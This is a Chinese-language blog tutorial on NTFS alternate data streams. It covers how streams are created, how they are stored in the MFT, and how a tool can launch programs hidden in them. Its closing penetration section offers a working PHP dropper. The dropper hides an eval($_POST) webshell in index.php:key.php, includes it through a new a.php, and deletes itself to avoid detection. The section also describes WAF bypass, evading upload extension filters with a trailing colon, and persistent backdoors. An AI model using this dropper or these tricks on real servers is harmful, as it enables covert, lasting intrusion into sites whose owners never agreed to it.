標籤:git 同名 vsx 今天 步驟 情況 strong 資訊 產生
咱們今天來研究下NTFS檔案流:
NTFS檔案系統實現了多檔案流特性,NTFS環境一個檔案預設使用的是未命名的檔案流,同時可建立其他命名的檔案流,windows資源管理員預設不顯示出檔案的命名檔案流,這些命名的檔案流在功能上和預設使用的未命名檔案流一致,甚至可以用來啟動程式
NTFS檔案流產生步驟:
1.我們在任意一個NTFS分區下開啟CMD命令提示字元,輸入echo mstlab>>mst.txt:test.txt,則在目前的目錄下會產生一個名為mst.txt的檔案,但檔案的大小為0位元組,開啟後也無任何內容。
只有輸入命令:notepad mst.txt:test.txt 才能看見寫入的mstlab
2.在上邊的命令中,mst.txt可以不存在,也可以是某個已存的檔案,檔案格式無所謂,無論是.txt還是.jpg|.exe|.asp都行b.txt也可以任意指定檔案名稱以及尾碼名。(可以將任意文本資訊隱藏於任意檔案中,只要不泄露冒號後的虛擬檔案名稱(即test.txt),別人是根本不會查看到隱藏資訊的)。
3.包含隱藏資訊的檔案仍然可以繼續隱藏其它的內容,對比上例,我們仍然可以使用命令echo mstlab1>>mst.txt:test1.txt 給mst.txt建立新的隱藏資訊的流檔案,使用命令notepad mst.txt:test1.txt 開啟後會發現mstlab1這段資訊,而mstlab仍然存在於mst.txt:test.txt中絲毫不受影響。
所以這裡的宿主mst.txt成功的被test.txt和test1.txt所寄生,而在這裡的微妙關係顯而易見,宿主消失寄生消失
NTFS特性和原理分析:
特性1:
實驗工具下載:https://github.com/wangyongxina/filestreams/blob/master/Release/Release.7z
工具使用說明:
create 建立檔案流
enum 列舉檔案流
delete 刪除檔案流
write 寫入內容到檔案流
append 增加檔案到檔案流
launch 執行檔案流的內容
dump 讀取檔案流的內容
我們讓上一步驟歸零,重新來看看mst.txt:
而這裡的default檔案流就驗證了最開頭的一句話,預設使用的是為命名的檔案流。
實驗開始,首先我們使用FileStreams.exe建立一個檔案流vkey:
FileStreams.exe create mst.txt vkey
然後寫入內容到檔案流vkey
FileStreams.exe create mst.txt vkey content
再來查看檔案流vkey的內容
FileStreams.exe dump mst.txt vkey 14
這裡的14從何而來,相信聰明的你們能明白。(檔案流vkey大小 14)
那麼最開始也說了,檔案流是可以用來啟動程式的,我們來試試:
1.加入檔案到檔案流vkey:
FileStreams.exe append mst.txt vkey C:\Users\gh0stkey\Desktop\test\FileStreams.exe
2.查看檔案流vkey的內容,這裡就看前100個位元組的內容:
FileStreams.exe dump mst.txt vkey 100
3.執行檔案流vkey:
順利的執行了C:\Users\gh0stkey\Desktop\test\FileStreams.exe 這個檔案。
特性2
自動建立空檔案:
自動建立宿主,然後寄生。
在沒有原檔案的情況下建立檔案流,會自動建立一個空檔案。
原理分析:
好,現在我們以及初步瞭解了檔案流的特性。再來看看NTFS檔案流實現原理:
如檔案大小,檔案建立時間,檔案修改時間,檔案名稱,檔案內容等被組織成屬性來存放,NTFS定義了一序列的檔案屬性:
詳細說明可以搜尋NTFS3G,這些屬性統一組織在NTFS的MFT(Master File Table)上,每個MFT大小1024個位元組,MFT的$DATA屬性即是前面提到的檔案流,通常來說包含多個不同名字的$DATA屬性即說明該檔案存在多個檔案流,是winhex開啟1.txt定位到1.txt的MFT,我們實際看一下NTFS是如何組織的:
可以看到檔案流test2的資料是直接存放在MFT上,因為test2的資料小,而testExe的資料則沒有明顯看出來,因為testExe資料比較大,MFT裡面存放的是簇資訊。
滲透中的利用:
Webshell後門隱藏:
<?phpexec(‘echo "<?php @eval($_POST[key]);?>">>index.php:key.php‘);$key = <<<keyecho "<?php include ‘index.php:key.php‘;?>">>a.phpkey;exec($key);$url = $_SERVER[‘PHP_SELF‘];$filename= substr($url,strrpos($url,‘/‘)+1);@unlink($filename);?>
為什麼這樣寫?首先我們知道網站的預設首頁是index.php,所以我們使用了第一段代碼:
exec(‘echo "<?php @eval($_POST[key]);?>">>index.php:key.php‘);
直接寫一個一句話內容到key.php這個檔案流中。
其次,檔案流是不可能直接執行的,但是PHP可以使用包含函數,所以就產生了第二段代碼:
$key = <<<keyecho "<?php include ‘index.php:key.php‘;?>">>a.phpkey;exec($key);
最後,為了不被發現要刪除本身檔案,就出來了代碼:
$url = $_SERVER[‘PHP_SELF‘];
$filename= substr($url,strrpos($url,‘/‘)+1);
@unlink($filename);
軟體後門隱藏:
使用特性1寫一段代碼後台自動運行這個檔案流即可。
ByPass WAF:
測試了下一些WAF還是可以繞過的。
較為雞肋:
需要有一個檔案包含才行。
當然一些局限性的限制寄生蟲可以拿到主權:
利用下面的預設流替換特性上傳檔案名稱為1.php:的檔案,繞過尾碼名限制即可。
當然你也可以做一個持久性webshell後門,然後使用include包含起來即可利用:
預設流替換:
預設流也就是宿主自身的,這裡完全可以吞噬宿主,成為宿主。
這個方法算是打破常規的認識了,很有意思。
如,我們直接執行echo xxxx>>1.txt:
即可替換預設流:
當然如果宿主不存在,將會建立宿主並且吞噬宿主,從而成為宿主。
此方法筆者在一次局限性的命令執行中完美運用上了。
總結:
原檔案=宿主,檔案流=寄生蟲。各位朋友根據根據這篇文章的基礎繼續深入研究,把檔案流應用於各種操作之中,造出"猥瑣"流。
檔案寄生——尋找宿主的不歸路(NTFS檔案流實際應用)